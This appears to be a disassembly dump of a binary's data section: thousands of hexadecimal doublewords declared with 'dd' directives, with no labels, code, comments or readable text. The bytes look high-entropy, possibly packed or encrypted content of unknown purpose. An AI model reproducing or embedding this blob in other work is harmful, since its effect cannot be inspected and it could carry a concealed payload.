		dd 0C1DDD58h, 96388AEh,	2221C0FAh, 3F5B4D0Eh, 5106FB02h
		dd 8297B966h, 18A2B88h,	57900CCCh, 0C471C3A0h, 1674F97Ch
		dd 0D0690CA0h, 8B98A688h, 0B01C1AD8h, 0CD727100h, 1D3A5EC0h
		dd 1254011Eh, 0A724A49Fh, 0D6B842E8h, 7247E330h, 0A8DF213Dh
		dd 0FF1FD791h, 906987DBh, 762BF092h, 1F556D95h,	9B802080h
		dd 5C7281CAh, 0AD003026h, 0F28DD124h, 27D017Ch,	0E47F0E5Ch
		dd 4F6371CCh, 0C3A0C8E0h, 3DF8137Ah, 7518E7E0h,	0ACE02492h
		dd 0DA468423h, 4147E70Eh, 32A7FF44h, 0E00323D3h, 0D075EDF1h
		dd 8C49CC79h, 0F01D004Ch, 6948D50Eh, 405C90E6h,	85864CB4h
		dd 60DAC4A4h, 7C5D99Fh,	0B88EA480h, 744CC127h, 0FCE18099h
		dd 888979Bh, 34FE07A9h,	6019709Dh, 0B80EF25Fh, 87E77301h
		dd 0C666930Bh, 4100A816h, 49154C7Ah, 4D484B44h,	0E400947Bh
		dd 0EACAA863h, 6DF20B02h, 84EE40h, 397DA770h, 954DCFEDh
		dd 20D53E00h, 0B1E43E4h, 2167672h, 0CD39D12Fh, 0DF208411h
		dd 0C3C9A743h, 0E90A9811h, 8C045150h, 98088588h, 9981567h
		dd 307F903Eh, 3B219FA6h, 3D000E87h, 1D4B805Ah, 3B26B70h
		dd 0C80F45B5h, 0BC908D38h, 520314F7h, 866D3E3Bh, 83D82243h
		dd 7B6C7D09h, 37F81999h, 0A508E118h, 0C8F0131Bh, 0D9CE0040h
		dd 45A202A5h, 9343F214h, 0E40C1168h, 0F01F4200h, 97A7AA0Fh
		dd 1AB21C3h, 9E3BC8EEh,	108C0014h, 8849DE77h, 1D15E5A9h
		dd 949573h, 0CFE8CEC0h,	166C33Ch, 71BFDBA5h, 0D43E9E97h
		dd 6300EB87h, 447A8DAEh, 249449C8h, 413C0A67h, 48E80999h
		dd 10F94AACh, 0A0E4EAh,	5E939A0Dh, 0EF374224h, 39171E01h
		dd 8AAD5CD3h, 8CDA4830h, 0DE114DFEh, 0FF880A6Bh, 4D0F2380h
		dd 9C77AAh, 94DB8AFAh, 1E881FCBh, 0B1038090h, 8DA36E3Eh
		dd 0F7E59B4Dh, 9F1D89F4h, 0CE8FC0ABh, 40970758h, 93B81E4Bh
		dd 670F0102h, 0C8442B8Ah, 397ADB46h, 7264247h, 0E1047038h
		dd 41001FFCh, 5EDDF3Fh,	60CBD40Dh, 0EA3421CEh, 0E00AE3Ah
		dd 5BF82977h, 0C1723Eh,	581916F4h, 69812FEh, 850DCD15h
		dd 0F27D00C8h, 0E0A8D5BEh, 0E471B2h, 470B1DDEh,	0DFA9D3C8h
		dd 6A494817h, 0DB38700h, 54A70746h, 8BC94h, 0B8CA190Bh
		dd 0F23A10D0h, 306BE902h, 446A9486h, 151D09F0h,	0CC90CC5Bh
		dd 7100F798h, 6678E0Dh,	762F7F6Ah, 8FD500EFh, 0F27BA749h
		dd 59F84474h, 63EBE8B0h, 60EB3730h, 0C4F56D83h,	11BC8B00h
		dd 4C000B10h, 5B81FAA5h, 0EE3DC9Eh, 46EA65Fh, 82895844h
		dd 9827A0C4h, 0CB4118BFh, 599C0C7h, 0EDFF4847h,	421B3901h
		dd 306E525Dh, 0E030C475h, 0EA008409h, 0D83EB56Dh, 24104943h
		dd 1C08350h, 7C737079h,	127E0024h, 0D6661467h, 0D6ECF8A6h
		dd 0D4872F8Ch, 9A9B9103h, 0B91DE3D3h, 5504B9DAh, 0A246DFh
		dd 0D231C4Ch, 0E3813A07h, 996226A4h, 8132C420h,	0CB972978h
		dd 9AF900D0h, 0F8B6DE18h, 51A72200h, 52C92EE1h,	5DFF0123h
		dd 44733925h, 0F2286228h, 653630D8h, 9026A02h, 46012D66h
		dd 0C13A1F60h, 5DC8074h, 0E744417Ch, 78585101h,	0ED2FAD98h
		dd 8021EDD3h, 7C4C48D7h
		dd 41048C14h, 5E0DEA81h, 0CB21A162h, 8BC88139h,	0DF0300E0h
		dd 66D05D4Dh, 802EDC46h, 465E94F5h, 99340A9Dh, 1D81500Dh
		dd 3EF1D583h, 0E1045432h, 0A22842E5h, 33D7E270h, 79C96BD8h
		dd 0A14B2102h, 0E6C56C93h, 80854480h, 577B6609h, 2400B25h
		dd 0C7496788h, 60D1E4CCh, 60721E50h, 8BD7618Fh,	0E1777F52h
		dd 33C4E703h, 9AA754h, 6E198CE1h, 517AC895h, 0C1665C03h
		dd 81644D1Eh, 9C30163Eh, 588798D3h, 0E4325ED7h,	7720C3C8h
		dd 956C2B5h, 684BEACEh,	0D7FC9491h, 0C2FE04Ah, 9C00D323h
		dd 0F1E4AE41h, 0A98D603Dh, 8962E5E9h, 22DCD54Ch, 483098C9h
		dd 451E2443h, 0A6A0C7CAh, 0AB8B93DEh, 8F893900h, 11C132A2h
		dd 14CA0552h, 8257F041h, 3CE49B30h, 0A61D6370h,	10C0332Bh
		dd 2114EE2Ah, 1D29C0ECh, 0F703BE16h, 0F05E4800h, 4E8CC1B4h
		dd 12BF2C6Eh, 0CD293370h, 0D08414E1h, 1CB0EC82h, 2523C420h
		dd 2820748Ch, 0A83DDAC2h, 0A0A49103h, 9592FAD0h, 3033FC82h
		dd 1710A5DDh, 0CAE0D013h, 9500A5D5h, 24423E4Ah,	8447715h
		dd 0F66D4B49h, 8A9A6880h, 1E4F8B51h, 0C0DDB7C5h, 0EC60FFEFh
		dd 0B8004C47h, 0CB05679Eh, 7204E432h, 460B00AEh, 848A19A8h
		dd 4B317CDBh, 8B72709Bh, 11D0C180h, 0CAE8C2D9h,	2BEB1503h
		dd 99B81642h, 5AD8B132h, 0CED43F45h, 0C2FE978Fh, 701639E7h
		dd 358143D9h, 0A51D9D01h, 1F219AAAh, 0F938A6h, 812A790h
		dd 6C00B37Dh, 919E115Fh, 0E027F97h, 0CDBC3133h,	24AF9803h
		dd 0A2FEB9B8h, 8CA19F06h, 4814A2Ch, 0CB28D702h,	700BA1Dh
		dd 23B13CE8h, 0A00E00E5h, 0A7979B36h, 0B00D3E9h, 2AF3A2F5h
		dd 0F75B996h, 25011E6Dh, 0C2A41720h, 0CA30C748h, 4C3593Bh
		dd 3E2C0E3Ch, 0BBC36F25h, 0D938BA05h, 15B298C7h, 0F47C9A28h
		dd 2B760D04h, 0F02048A1h, 38000152h, 0C59AFC5Eh, 0AE7B36h
		dd 0C4039C9Eh, 0C7BF5F0Bh, 0FD7E74Ch, 0E00E983Bh, 6808775Ah
		dd 0F6B90062h, 40899AD7h, 7F0594DEh, 0BF54E03Eh, 818C6481h
		dd 218C6F3h, 0B7A4A1FEh, 20BC9006h, 2F9FAB10h, 0DC4B7E07h
		dd 9D0B438Dh, 9A0BEA3h,	480F3F16h, 9F7D99E3h, 0F5C75FC1h
		dd 417C5E97h, 0EFFB880Dh, 62200A38h, 28C81181h,	0C864014h
		dd 0CE1F63E6h, 0DF00D65Bh, 445099FDh, 0E99B003Ch, 0FD4487Fh
		dd 0A9054775h, 6DBFB59Ch, 54083426h, 23A7804Dh,	1F5A41A1h
		dd 6F1607A0h, 642CD037h, 740044F0h, 0E8D0B510h,	0BED9E0h
		dd 0AAECA3FAh, 86167C2Ch, 3B00E2E2h, 0B19AB8C5h, 7ABB39Bh
		dd 0A41580DBh, 7C1FB318h, 8875CEB1h, 8892CC29h,	0C90D69Ah
		dd 48734A84h, 0D8B242D0h, 49217024h, 11E41271h,	6424E64Eh
		dd 116F2121h, 4D119308h, 104812E4h, 1C897D6Ah, 9A595180h
		dd 322F0E56h, 10EBFB00h, 0F4C70F5Eh, 0A43400FAh, 84D520EAh
		dd 5407DB41h, 717BA325h, 13E28250h, 0BC640068h,	17578731h
		dd 55EE77CAh, 20EB300h,	0D61B9FE3h, 0A7D5031Ah,	78888E9Eh
		dd 883F298h, 0B322100h,	2B4A0EB9h, 0D4DF00C2h, 6A3E1ABBh
		dd 9300535Dh, 1329D7CBh, 989A4Eh, 4B4C6C79h, 3F36747Ch
		dd 0B7005A7Fh, 70451F51h, 0F7E621h, 0A0C01BE2h,	0A6A3234Dh
		dd 500FB75h, 0DF135C72h, 862E5Ah, 0A7D21B44h, 0D5E42138h
		dd 0EDF11500h, 0DACD85C3h, 0BB953827h, 58DBC080h, 13C8D141h
		dd 3B27800h, 0CADE5354h, 60E800BEh, 52883B83h, 0F8246912h
		dd 250014A1h, 4257C961h, 2DDB0073h, 0D5B5ED65h,	6B00CBC3h
		dd 5F79BB33h, 2F6699h, 708E701h, 0C4DBCE3Ch, 0DDC25E03h
		dd 982948A6h, 6B5641h, 15F6CDD7h, 20F7A486h, 1251FF03h
		dd 389E5F04h, 0E87E4C70h, 2FE312BBh, 8A5F000Dh,	72394E91h
		dd 0E71F7F07h, 0B9E2AE74h, 28A080ABh, 28D9BF45h, 8C6BEEh
		dd 49E56594h, 38F0BE61h, 7C4C4676h, 80373C64h, 4710F90Fh
		dd 0AA753Ch, 177B8A5Bh,	12A721Dh, 0C23A61Ch, 73D57682h
		dd 71D26066h, 0C5CD0068h, 0B27DACC1h, 0F4004A56h, 4D666089h
		dd 727C7562h, 29D4A0F3h, 929F1CB1h, 9982808Ah, 864A676Ah
		dd 4607812Eh, 0BD42CC00h, 4970DD59h, 65383844h,	0C736B782h
		dd 0F7E04D9Eh, 8F07F083h, 9D06F27h, 1FDA803Eh, 712DF4h
		dd 979A7B7Fh, 5A17DE68h, 6CEAF04h, 0AC031ADh, 0A9FBC2h
		dd 9AE676FAh, 0BBDFFE43h, 2F3AB500h, 4CD91827h,	0C052B03Dh
		dd 69F2A4C8h, 0AC3C1211h, 40F09F58h, 8DD34AC0h,	0B1333Eh
		dd 91535E71h, 0AF66B0E1h, 84F17A02h, 80388B14h,	50BED7D8h
		dd 23B40020h, 0A0F012Dh, 0EA00E509h, 47DAE666h,	0BAC648h
		dd 0E74022DFh, 0FA20FB37h, 0FF16961Ch, 0DDBC7980h, 2CFD235h
		dd 9130CBF5h, 0E3E07B9Ah, 0BF006893h, 1FF2FE10h, 7D5D970h
		dd 2B31CF8Dh, 9094F405h, 57FCBF00h, 6985B410h, 0B19127Fh
		dd 2DC8000Dh, 0AA778B0Ah, 0E24C6300h, 182A693Eh, 0DDBF0726h
		dd 0C04FDE39h, 3A9C30D1h, 5683B703h, 0A8D838FBh, 26F6D0h
		dd 878A555Ch, 0FCF7819Fh, 643F9106h, 220849Dh, 2AF8F3EAh
		dd 8880AD43h, 9A40FC46h, 5F96D400h, 76D8777Ah, 5663004Ch
		dd 0CE2C583Fh, 200FF5Eh, 9215C198h, 8F774Eh, 0BD96B1F1h
		dd 9B03B34Ch, 1790B9F4h, 0A000A590h, 169F5B02h,	3E1DFD2h
		dd 0C88A2E7Fh, 4BD8052Dh, 9701C5D0h, 0EB06CB88h, 15E863F3h
		dd 48FBE460h, 760486ECh, 8361DC83h, 0F5D80A00h,	1400051Eh
		dd 0F433CB3Ch, 0CCC6F9h, 681F46AAh, 2E7CA1CEh, 0D11D04B8h
		dd 0A400718h, 94F21965h, 12F90B10h, 1580C075h, 917EA7D0h
		dd 0A678E912h, 364AE000h, 9A6372B2h, 39040078h,	5E18A787h
		dd 0B900C46Ch, 52244C80h, 9C040h, 0B4A05BECh, 0C87F3E86h
		dd 611CAC00h, 59F73F67h, 0F1E50013h, 46482B20h,	0FC0037FBh
		dd 0D1E38B3Dh, 0E65EBAh, 0BF2F1C30h, 0C363CECDh, 311EABF2h
		dd 0FFCA21B8h, 8E00C85Fh, 7C6E06C9h, 0C7E200B4h, 0AAE9C660h
		dd 0BF139D34h, 851D225Ch, 473EEC43h, 2C81EC3Dh,	7371BED4h
		dd 0E6311450h, 0A0F607h, 59B92693h, 0C0CAAC16h,	0E2CBC100h
		dd 140E7885h, 937E008Eh, 0AFDF0CF3h, 69007B89h,	5B34E67h
		dd 5310A1h, 739AFE24h, 0B0D9AD78h, 45000BECh, 8740F749h
		dd 0FEFCDA6Ah, 0F4E8000Ah, 2B0358FFh, 0E17A247Dh, 38047800h
		dd 39ADBE76h, 7AA50227h, 36821D89h, 70F4040h, 0EDF80800h
		dd 46D9E56Bh, 0BDC11351h, 9380002Ah, 727E903Fh,	0F8DB1700h
		dd 0D833700Fh, 0CED50322h, 0F4B05EB7h, 88A5C0B5h, 682484ADh
		dd 0D684C849h, 0A0C81F4Bh, 0ACBA0031h, 8C8A8F97h, 7D39707Fh
		dd 0E22E9373h, 63CA480Fh, 0A8BD9E1Eh, 71BBD7h, 0F0816C5Ch
		dd 0CBE611D6h, 6E828500h, 8FAA0C6h, 0C8FE0022h,	0CF621EEDh
		dd 0FC0073F6h, 680AEFDh, 0D19C2Eh, 8EDD9F51h, 75BD2D4Bh
		dd 90526A09h, 37088073h, 1E72630h, 8A4C8C38h, 34639295h
		dd 0B1427E6Ch, 0D7E93800h, 0C51F2B9Eh, 0A906EB09h, 5A78A04Dh
		dd 0AEFA56h, 3A6CD14Fh,	0DF1E5EE2h, 0D012AA00h,	6E494033h
		dd 4EE667h, 2B1DB424h, 16610E2Eh, 832C2300h, 0ECEFC4CDh
		dd 0F8D47B1Ah, 3CEC46h,	0F9A00D63h, 0FB8FD367h,	56870100h
		dd 11145F22h, 71030010h, 0E3639AF3h, 0DE00E5E8h, 0C428E9CCh
		dd 7D147Eh, 3CEA47AEh, 9E0B21F8h, 5021539h, 32DEB97Ah
		dd 0B650DC40h, 3624FEEh, 84AB9F30h, 808F8E90h, 446CEA6Fh
		dd 47C9D000h, 0A4DFA837h, 0DD7205FEh, 8C036BB5h, 0F300B7B8h
		dd 77B1AA80h, 0FCE6B67Bh
		dd 0C1D800DCh, 0BB8D3969h, 0AD9809ADh, 42501E00h, 64D6FEF1h
		dd 68B848F8h, 6EC54400h, 0D968D55Ch, 0B3F33F2Eh, 0E239B000h
		dd 0D25765h, 415ABAC4h,	7A1E502Fh, 0B407EFE0h, 16BC3052h
		dd 0BADE2660h, 0C2400082h, 4C7746D0h, 4E01D3A9h, 4B3251D2h
		dd 0BED81EF3h, 7297047Ah, 823B46F6h, 4440937Ch,	0DF077164h
		dd 0C5D14569h, 32AD3930h, 0C31E0022h, 9BFE0214h, 0D0907C56h
		dd 0B65CAF0Eh, 0D23B205Ah, 197034h, 31138FF1h, 0D5C5ECFFh
		dd 48A17C90h, 9ECCCCABh, 160B9500h, 1A6C397Fh, 0C5200C9h
		dd 714ABADAh, 0DD00AB4Ch, 0BEB4D613h, 0B7410Ah,	7609AC45h
		dd 59EC1A77h, 0E00070E8h, 9DD05F6Ch, 41B45Eh, 76845B46h
		dd 0F30DF05Ch, 4F56B000h, 0F6D4C670h, 0B8B1F05h, 686A80E3h
		dd 0EF15144Ah, 0AFAA87Bh, 277574Ch, 3E31B481h, 0A8A1C319h
		dd 7B28C59Fh, 0E4E0B5h,	0E9DF9A2Ch, 7B4AAB3Fh, 5237DA07h
		dd 0F520B2DBh, 80C8B7h,	59EBC3CDh, 0C484B69Eh, 55F23Bh
		dd 0A4CB6267h, 1CB12737h, 0E2C113h, 0CC0991A6h,	3500D414h
		dd 0CEC2F612h, 48E6D545h, 0AF005816h, 89A12483h, 3E1205A3h
		dd 8840CD6Ah, 1FF636EAh, 16970008h, 0F818CA77h,	66E6EB13h
		dd 4257E0FBh, 39ACD400h, 9180AFA1h, 450C1207h, 0B3580273h
		dd 4851F3ABh, 0AE955B60h, 0AC2A009Ah, 8E492706h, 0E49837E8h
		dd 0DF847328h, 0CB663900h, 97D440C5h, 0A75D00AAh, 4F09184Dh
		dd 0F2002387h, 0B6E60ABDh, 1A072E8h, 0EAA97181h, 0F4C1BC01h
		dd 9500F319h, 58A61E0h,	8FE91Bh, 0EBA52C28h, 5A540CC9h
		dd 3C6DF07h, 41196AA8h,	0FE002B68h, 0B400063Ah,	613CD71Eh
		dd 20E5BBh, 81B3A5B9h, 0ACAA3565h, 0D7C6B200h, 4C6D92A1h
		dd 0E72D3F10h, 6B52D683h, 7DD03C5Ch, 0C7041971h, 602E38EFh
		dd 45FF6CA0h, 0CCAB61BFh, 39032CE2h, 4E91898Ah,	0CA6E0DBh
		dd 741500FDh, 0C8370F16h, 0D500A3C9h, 0D18083E8h, 7B8A5Ah
		dd 3DBCE23Eh, 0EFDB3C56h, 0E06F0C13h, 1422030h,	0B4BE00EDh
		dd 3BD7BF39h, 6F0036CEh, 0EBEFEE3Fh, 17E62C5h, 21D91788h
		dd 0E4FDEC16h, 0B30079F4h, 19578928h, 25DD8480h, 0E4DE4A22h
		dd 17475403h, 689AD0A9h, 0D590BAh, 6561D0B1h, 74846B96h
		dd 90009978h, 634FE2E4h, 2E915D6h, 952627A7h, 0B480A2C4h
		dd 2EFEF286h, 0CF0F9F00h, 0B335408Fh, 1A64016Bh, 3CF5C8A8h
		dd 848DD488h, 28060C00h, 0D2F0ED9Fh, 0C4CB0082h, 0E3AD60E8h
		dd 85053B8Bh, 243520D7h, 378A3CC0h, 1C0484FAh, 7EC65E60h
		dd 0BE59CCCh, 89B19DFBh, 715A9D80h, 1009482h, 0A6FF33Ah
		dd 1C9C33Ch, 5D413566h,	21095F2Eh, 5160CCDCh, 11834E30h
		dd 0AF5F0h, 0C00B15F6h,	0C9E904B2h, 0DE386713h,	0B75C0B00h
		dd 404DCCh, 1252975Dh, 0E9787C0Eh, 56401560h, 4F42B4DBh
		dd 3BDC023Ch, 0D640F1F7h, 0EC000D5Ch, 0C13FAF5h, 12A8522h
		dd 0B8D835DEh, 205F47C5h, 48030100h, 40BBD51Fh,	0DD58B8A1h
		dd 74E7022Eh, 675721ACh, 0EE35867Fh, 0D75A0731h, 80526424h
		dd 9ECB344Ah, 0C720721Ch, 0AE043E00h, 14A3E2h, 0CDFA250Fh
		dd 291FB5D5h, 96EB3201h, 0D89A793Ch, 0FE83420h,	45BD066h
		dd 0C2A8FBE4h, 0F0C3228Fh, 249A8A80h, 6CDC700h,	0D0105898h
		dd 0A6D40268h, 0DE6C32B7h, 28638D80h, 0E2030B23h, 0D4C5948Fh
		dd 6BA380B2h, 622E00D9h, 40EBD05h, 4B00AD26h, 0C7982470h
		dd 484ADE86h, 133FA428h, 0EDCC0079h, 0CEE9A957h, 7D00C561h
		dd 0A3227FAAh, 2602AC83h, 774DB43h, 334737DCh, 80C51ACAh
		dd 1E08F860h, 268F64Ch,	0A170B3F5h, 0F5C6076h, 61E490h
		dd 0C024D6CAh, 8C1F0912h, 8AFC0400h, 84EBD43Fh,	6C7B0085h
		dd 816465E5h, 51003AD9h, 483833E2h, 3BB2CC16h, 2C0E422Fh
		dd 537ABAh, 0B64F4B84h,	0D05050B0h, 2A00E6A4h, 9C53F0EBh
		dd 3EEEE0h, 3BA5E4D5h, 6E746F81h, 1DD0305Ch, 85C77F02h
		dd 49E1A0CCh, 742813B6h, 82590078h, 6AFA29DCh, 8B7A5C72h
		dd 33F639B8h, 0E03C7300h, 60F28EB2h, 5AC30085h,	3F466B61h
		dd 99004235h, 9420FF6Ch, 98D2CCFCh, 2F2E0F79h, 8EE076F0h
		dd 0BFAD7C23h, 7712A024h, 45920607h, 19649A10h,	0DD9002FEh
		dd 1708759Eh, 0AD47E460h, 46B55E1Dh, 223F6040h,	0A00AF18Ch
		dd 722D05B6h, 190660A7h, 0FCE9457h, 79112863h, 0C013EAB2h
		dd 46D3979h, 2C6B1A03h,	0EE18C0A0h, 570B06CAh, 80F7E787h
		dd 93DB0D8Dh, 0B032004Ch, 90545D70h, 0AC2D75D0h, 48202015h
		dd 0D4AABAh, 0B588D11Ch, 0AD63F3BBh, 1D057F09h,	0B2188026h
		dd 322240h, 0BBD324DAh,	9033B6BCh, 0A8FD48h, 687FDE29h
		dd 3E7962F2h, 4E802CAFh, 0FF4BCAB9h, 991E2BD9h,	0BF00E8EEh
		dd 0A2E1BE68h, 94251C4Ch, 9BF4817Ch, 21F7015Ch,	47C02039h
		dd 213C4407h, 2230A4D0h, 0E98F9F1h, 923F69Bh, 0AC0002AEh
		dd 160D42A8h, 0D07EE8E8h, 9A89FC09h, 4098C062h,	68A30061h
		dd 5D3FC45Ah, 9B26861Eh, 5B005890h, 51CCA449h, 8FDE2AA0h
		dd 60930090h, 379AA2A9h, 9598ABC3h, 145AE21Ch, 600183CFh
		dd 470BF293h, 8F9E0066h, 0C6A0C2D0h, 0DE0008F6h, 9514CA3Dh
		dd 0C9BA7Fh, 56A547C0h,	0FC67AC1Eh, 24F3FD00h, 5D4DE6Fh
		dd 0CFBC005Bh, 0D2BBFDAh, 0F905655Eh, 0F8138E22h, 0C6C9A780h
		dd 9AD9011Bh, 0A6D88D2h, 0A9A2C017h, 9244AC00h,	29AA3D64h
		dd 237862h, 0F62A5D8Ah,	87F67A3h, 0B842109h, 6698A4B0h
		dd 5B325380h, 0F570B8Fh, 2063383Ch, 22002BBFh, 6EA830FCh
		dd 1AD8003h, 0C8509FBFh, 7B7086AEh, 0DE01C44h, 25BB4063h
		dd 0A9F9D89Bh, 0C7020E00h, 389F3F8Bh, 0AAB207A2h, 0A1A4EB9Ah
		dd 0C8819D1Eh, 0E70014FBh, 718341B7h, 90C08072h, 0B42C00D4h
		dd 52A66722h, 37074A25h, 77D086FBh, 0B24D73A0h,	1C0D0028h
		dd 543843D8h, 0FC01DEE5h, 60B008C9h, 3DEC59B5h,	4A200EEh
		dd 0CBCD5C66h, 8803D645h, 0DB5BF74Dh, 0DC93E092h, 70590990h
		dd 49809B10h, 0F83AD14Ch, 5DE8161Eh, 0BE201BC3h, 6B2BA0D2h
		dd 76A90245h, 299BD513h, 0BB4ED4A0h, 440066B5h,	3C9793A0h
		dd 396BD5D3h, 0C383C2C5h, 0F53E80BCh, 0E5CCF8D0h, 26B1E209h
		dd 739CE12Dh, 0BF0F542Dh, 0B9DC2549h, 13071980h, 7523FE02h
		dd 7BDEE200h, 53B35CFBh, 0C63C044Fh, 0F41BFA32h, 7039114Ch
		dd 4CDF8033h, 0D37BCFE5h, 8CB01302h, 2A5C88BFh,	0C7EA24E2h
		dd 80CA403Ah, 6BA2B0D2h, 92553Ch, 8AFE184Eh, 0DF6AC1C8h
		dd 81EB7D3Eh, 0F90514CEh, 0D4302189h, 90FC80h, 8CE6D919h
		dd 0B2202AA9h, 36B7F000h, 307CD318h, 0E1F0959Ah, 391A2C2Eh
		dd 0E880031Ch, 6B1D35F8h, 3A141827h, 676E92CDh,	86EF0C19h
		dd 5BEC6502h, 0EA440357h, 0FA566136h, 0F00871E8h, 9523311Eh
		dd 11470746h, 0C6A93D3Ch, 59148F18h, 68B25E0Eh,	65539E01h
		dd 5AB4616Dh, 0FBD872FCh, 0E91830h, 0E155643Dh,	42BFA8Fh
		dd 205A300h, 15247D29h,	34CC003Bh, 0C3DC4AE5h, 0B03E50B8h
		dd 40B3AFCFh, 6032C7Dh,	33DA825Ah, 0EB901039h, 81076A00h
		dd 9B926D05h, 27DD3030h, 39A3A989h, 0E10F2301h,	0E0F72511h
		dd 2E4A26C0h, 83E0F0FBh, 7F321DAEh, 5033078h, 3BF8242h
		dd 0CB690062h, 0F1163A1Ch, 8C3014BDh, 9F463090h, 2300C37h
		dd 0BA602784h, 100FE275h, 80078AC3h, 34DCA27Ah,	0C654A035h
		dd 0C2AC3E92h, 91210831h, 0F37F21A8h, 52E030D1h, 1704425Ch
		dd 0FF04E01Eh, 0EFFB4925h
		dd 80691F20h, 8B2BB00h,	5EEA9919h, 43F878h, 16C68F66h
		dd 0A44F2E0Ch, 3F293Eh,	0B1192DBEh, 74065A2h, 7F2172EAh
		dd 0C47C20B3h, 0A000502Eh, 0C191E557h, 3AAC2F4Ch, 4280EDB4h
		dd 6CE26FA7h, 1C00130Ch, 39F8D295h, 65C33251h, 3AAEE1B0h
		dd 470FBA04h, 0E2E0CEBCh, 86A9AB3Bh, 9FFB19C0h,	82E98Ch
		dd 0AC96251Ah, 0FD1580E0h, 551B8400h, 0C7E5CFFh, 250A007Fh
		dd 7B51B366h, 99301D15h, 37C961A4h, 3E8A02B4h, 0C61078F9h
		dd 20B0DC44h, 0CB38CCF0h, 0F6D80B0Ch, 1C2580D3h, 13D0DABh
		dd 270E14C1h, 0BD43A355h, 0F8DB87B1h, 94D0D666h, 1D04531Eh
		dd 91FD68h, 44FE1BCAh, 0C2269D90h, 0B7007462h, 59C0939Eh
		dd 49B600A2h, 0FF2A768Ah, 0B8C08D4Ch, 0B2BA11B3h, 93A40D4Eh
		dd 0F07C104Fh, 0AE30F9B5h, 0FF8F18CEh, 95530CAh, 4D1CEE30h
		dd 0B5913B60h, 61825611h, 69FF4053h, 0B728830Dh, 16CBD2F9h
		dd 40C23340h, 0C1D4E3A0h, 3B06DE1Ah, 5D2F9074h,	0A4B50A31h
		dd 8FFA9h, 1C683C3Ah, 3B2611C5h, 31004C2Ch, 2B480BCCh
		dd 9B6B0A7Dh, 80C8B086h, 27E4BB17h, 9E007401h, 0DF1068B7h
		dd 6CBC2F92h, 0B2A8E88Eh, 0F390CA60h, 0C1A8F44Fh, 2721C1E8h
		dd 0FB60872Ah, 31AD4037h, 80501AF1h, 93ADB231h,	452AE024h
		dd 0F7011FBEh, 1910B741h, 2BF1B649h, 0E7BDF0h, 0E8C78C24h
		dd 10DE9E21h, 0CF6AFA00h, 0DC52047Ch, 4C1C01ECh, 412024D7h
		dd 3EAECCCAh, 79CF3330h, 7748F4h, 71234D60h, 4C07640Ah
		dd 2446101h, 0FCC3C26Ch, 0BCCD90E7h, 0C599CBA8h, 0F89E7441h
		dd 47012980h, 0DEC31C45h, 0C7C17CB1h, 0D448C062h, 92387B00h
		dd 0ABA25A10h, 0FF601892h, 7B0AEA21h, 762B008Ah, 46B5F9C5h
		dd 2E005571h, 17284B3Ch, 24D9BB16h, 4866Ah, 1F38EF2Ch
		dd 4F480B6Eh, 2A7D0388h, 2C11DCB5h, 40C86380h, 1C41BD03h
		dd 293BDD07h, 7DF0608Eh, 28A7E15h, 0F501C337h, 18400C6Dh
		dd 0D514B89Eh, 0F1206FFDh, 1E18E151h, 0AE43100h, 5629C227h
		dd 91E8A0D9h, 9E171D3Ch, 7C3A91DBh, 1368750Bh, 2D10A4B9h
		dd 3848A093h, 68806D21h, 0EA1FE687h, 644DDCF8h,	4CA49C00h
		dd 9F960B05h, 0C200C05Fh, 0CF250841h, 1D3919E0h, 81B508E7h
		dd 41DA5D21h, 7DF8579Eh, 117DC7h, 1C3B603Dh, 0E546A835h
		dd 0DE48D600h, 8D3F0ADBh, 8CB4932h, 40816E1Dh, 4C7C368h
		dd 0A5008E2Fh, 18FC0C3Dh, 2E19315Dh, 3A041D06h,	0FE7A049Eh
		dd 78D79E14h, 17683980h, 448C4AB9h, 710FF946h, 20C8EF68h
		dd 0A50B6D4Eh, 0A05F7197h, 99AF1EE8h, 9FAC801Ch, 519629F2h
		dd 7C82848h, 336FAE23h,	0DC902069h, 74C0DF12h, 27820C03h
		dd 0D208F9FBh, 0AC1D1C0h, 600DDFh, 8B16FCFDh, 0F8E8DF9h
		dd 7E703F62h, 11B0847Dh, 1241C060h, 11BF2523h, 0D85F00B1h
		dd 0CBF24F41h, 35CC1249h, 8714011Dh, 80526F7Eh,	6D0C1C58h
		dd 181812C1h, 91471DA2h, 9CB9967Ch, 0A81C243Ch,	2E111D98h
		dd 363F00F4h, 0D39A8AAh, 0FE0EEB99h, 8711950Bh,	0F523B53Eh
		dd 8233A0C7h, 0F180D8A2h, 6D2792Bh, 0FBACF800h,	9898C31Eh
		dd 0C0B954F4h, 65713EE5h, 4763F12h, 30C6FDD4h, 23757B14h
		dd 6080892h, 0BEB037Dh,	0DB80F87Bh, 8E2831C2h, 0B41FD0AAh
		dd 5E80056Ch, 0D835E816h, 75F93FF5h, 9A5A8080h,	0C6600C72h
		dd 53491563h, 3075E8FEh, 0BC075063h, 0AC73F822h, 0DF0E04E8h
		dd 623203CCh, 6C520CFh,	0CB15AADFh, 0A4B098h, 5BEAFCACh
		dd 0CCD724h, 0EB53DEC1h, 82938ABCh, 99FDC801h, 2F1F449h
		dd 0A9BF820h, 74ADEA5Bh, 0DF13403Ch, 2A4603CDh,	0BE00D322h
		dd 0DC15DF0Bh, 96447A9h, 0D221B91Bh, 6DABF0A0h,	0D701D194h
		dd 16D6C2F2h, 2432AF89h, 796917h, 0D46B1F00h, 0DA6021B8h
		dd 0E83CF939h, 0C82963CAh, 982371CFh, 0DF08006Dh, 830203C2h
		dd 0BB677091h, 0C115E000h, 0AE0500B7h, 5E85417Bh, 0B28048C7h
		dd 5025F1F4h, 0F689E030h, 0DCF62821h, 0C0E951E0h, 0CF88380Ah
		dd 1B909BC0h, 4A701Dh, 0F534677h, 49B599EAh, 410834Dh
		dd 1B585CCBh, 81C9C608h, 52B91EC0h, 4C221036h, 6874FC00h
		dd 908F32B6h, 7FF82E37h, 7C9B5328h, 176098D4h, 923C7B04h
		dd 602D59F0h, 0B5017B6Ah, 0D9B91DE3h, 4072D822h, 18C5A899h
		dd 3068653Bh, 0FB54281Ah, 0D568731Fh, 8B0971DEh, 91849717h
		dd 545A8052h, 2E0E48Bh,	39628850h, 98441E3Eh, 6437910Bh
		dd 219CA1B4h, 8205D992h, 8C607DB8h, 0F4A053DBh,	3D20BD04h
		dd 0FACA12Ah, 0BE026836h, 0AF251441h, 6110B231h, 510641D6h
		dd 381B9687h, 0C2CE2550h, 86273420h, 18C14E77h,	0B81BC3Fh
		dd 0B16FA420h, 7D03D0F8h, 7A200286h, 0D892825Ch, 6ADA060h
		dd 0BB4650C3h, 6B2B92ABh, 0AB04C320h, 0ED02324h, 1341CD01h
		dd 0D033B725h, 41C56480h, 0B50429F7h, 0E2CB78FBh, 531C481h
